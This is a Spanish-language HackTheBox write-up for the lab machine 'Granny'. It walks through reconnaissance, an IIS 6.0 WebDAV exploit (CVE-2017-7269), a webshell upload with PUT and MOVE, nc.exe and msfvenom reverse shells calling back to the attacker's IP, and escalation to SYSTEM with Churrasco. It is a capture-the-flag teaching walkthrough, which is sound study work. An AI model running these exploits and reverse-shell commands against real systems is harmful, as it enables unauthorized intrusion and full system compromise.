HTB granny
¡Hola!
En esta ocasión vamos a resolver de la máquina granny
de HackTheBox.
La máquina es nivel “Medium”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre granny
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
mkhack granny
cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
osping 10.10.10.15
[*] Detectando sistema operativo ...
[+] 10.10.10.15 ttl=127 >> Windows
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.15 -oG ports | grep open
80/tcp open http
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
nmap -p80 -sCV 10.10.10.15 -oN versions
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-webdav-scan:
| WebDAV type: Unknown
| Server Date: Fri, 09 Sep 2022 07:38:14 GMT
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_ Server Type: Microsoft-IIS/6.0
|_http-title: Under Construction
|_http-server-header: Microsoft-IIS/6.0
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
RECONOCIMIENTO WEB
Iniciamos con el reconocimiento del servicio web
donde inicialmente, por medio de la utilidad whatweb
enumeramos información de librerías, gestores de contenido, entre otros.
whatweb 10.10.10.15
#OUTPUT
http://10.10.10.15 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/6.0], IP[10.10.10.15], Microsoft-IIS[6.0][Under Construction], MicrosoftOfficeWebServer[5.0_Pub], UncommonHeaders[microsoftofficewebserver], X-Powered-By[ASP.NET]
INTRUSION IIS EXPLOIT
Hacemos uso del exploit CVE-2017-7269 del github de g0rx que nos va a generar una reverse shell directamente con la máquina víctima.
Descarga y renombramiento de exploit
cd ../exploit
wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell
mv iis6\ reverse\ shell iisExploit.py
Modo de uso exploit
python iisExploit.py
usage:iis6webdav.py targetip targetport reverseip reverseport
Creamos un listener
rlwrap nc -lnvp 4564
Ejecutamos el exploit
python iisExploit.py 10.10.10.15 80 10.10.14.8 4564
Reverse shell exitosa
#OUTPUT
whoami
nt authority\network service
INTRUCIÓN WEBSHELL + SMBSERVER + NC
Otro método de intrusión se puede ejeutar por medio de la subida de una webshell al servidor víctima, para esto vamos a seguir las siguientes indicaciones.
Hacemos uso de davest
para auditar los archivos que podemos subir a un objetivo
davtest -url http://10.10.10.15
#OUTPUT
/usr/bin/davtest Summary:
Created: http://10.10.10.15/DavTestDir_AUl9CdY
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.jsp
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.txt
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.html
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.php
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.pl
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.cfm
PUT File: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.jhtml
Executes: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.txt
Executes: http://10.10.10.15/DavTestDir_AUl9CdY/davtest_AUl9CdY.html
Localizamos los binarios .aspx
que contienen una webshell
locate .aspx
#OUTPUT
/usr/share/webshells/aspx/cmdasp.aspx
Copiamos el archivo en nuestro directorio
cp /usr/share/webshells/aspx/cmdasp.aspx webshell.aspx
Con los métodos HTTP PUT
y MOVE
para subir un archivo y cambiar la extensión de este, para acto seguido, ejecutar la web shell obteniendo ejecución remota de comandos.
curl -s -X PUT http://10.10.10.15/webshell.txt -d @webshell.aspx
curl -s -X MOVE -H "Destination:http://10.10.10.15/webshell.aspx" http://10.10.10.15/webshell.txt
Copiamos en nuestro directorio, el binario para windows de nc
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe nc.exe
Creamos un listener
rlwrap nc -lnvp 4564
Cargamos en el navegador el recurso http://10.10.10.15/webshell.txt
Creamos un servicio de recursos compartidos SMB
sudo impacket-smbserver smbFolder $(pwd)
En la webshell ejecutamos por medio de un recurso compartido una reverse shell con la ayuda de nc
\\10.10.14.8\smbFolder\nc.exe -e cmd 10.10.14.8 4564
Reverse shell exitosa
whoami
nt authority\network service
ESCALADA DE PRIVILEGIOS SMBSERVER + CHURRASCO + MSFVENOM
Ahora que nos encontramos dentro de la máquina víctima, vamos a realizar la enumeración de permisos y tareas con la finalidad de lograr un escalamiento de privilegios.
Enumeración de grupos habilitados
whoami /priv
#OUTPUT
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeImpersonatePrivilege Impersonate a client after authentication Enabled
Descargamos una variante de JuicyPotato.exe
denominada Churrasco.exe
wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe
Generamos un payload que nos va a permitir la conexión reversa por medio de msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=4566 -f exe -o rev.exe
Creamos un recurso compartido con Impacket
sudo impacket-smbserver smbFolder $(pwd)
En la máquina víctima ingresamos a la carpeta C:\Windows\Temp
, creamos la carpeta privesc
y copiamos el archivo rev.exe
en el objetivo
cd c:\Windows\Temp
mkdir privesc
cd privesc
copy \\10.10.14.8\smbFolder\rev.exe rev.exe
Creamos un listener
rlwrap nc -lnvp 4566
Ejecutamos en la máquina víctima churrasco.exe
para que ejecute con privilegios rev.exe
\\10.10.14.8\smbFolder\churrasco.exe "\\10.10.14.8\smbFolder\rev.exe"
Obtenemos una shell como nt authority\system
whoami
nt authority\system
FLAGS
Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type
, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.
#USER
cd c:\
dir /b/s user.txt
C:\Documents and Settings\Lakis\Desktop\user.txt
set /P user=<"C:\Documents and Settings\Lakis\Desktop\user.txt"
echo.%user:~0,10%
700c5dc163
dir /b/s root.txt
C:\Documents and Settings\Administrator\Desktop\root.txt
set /P root=<"C:\Documents and Settings\Administrator\Desktop\root.txt"
echo.%root:~0,10%
aa4beed1c0
¡Hemos logrado completar la máquina granny
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.